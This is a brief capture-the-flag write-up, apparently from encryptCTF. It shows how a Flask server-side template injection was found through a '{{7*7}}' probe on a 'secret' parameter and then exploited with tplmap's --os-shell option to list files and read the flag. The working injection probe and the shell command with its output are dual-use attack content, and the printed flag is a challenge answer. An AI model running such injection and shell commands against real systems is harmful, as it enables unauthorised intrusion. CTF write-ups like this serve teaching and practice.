There were some base64 encoded comments in the HTML source code. One of the comment leads to: http://104.154.106.182:5050/?secret=flag
If you look to the HTML source, there is "flag" string. So what about:
http://104.154.106.182:5050/?secret={{7*7}}
Then there is "49" in the source, so it is flask injection: https://github.com/epinna/tplmap
```python tplmap.py -u http://104.154.106.182:5050/?secret=flag --os-shell
...[+] Run commands on the operating system.posix-linux $ lsapplication.pyflag.txtrequirements.txtstatictemplatesposix-linux $ cat flag.txtencryptCTF{!nj3c7!0n5_4r3_b4D}```
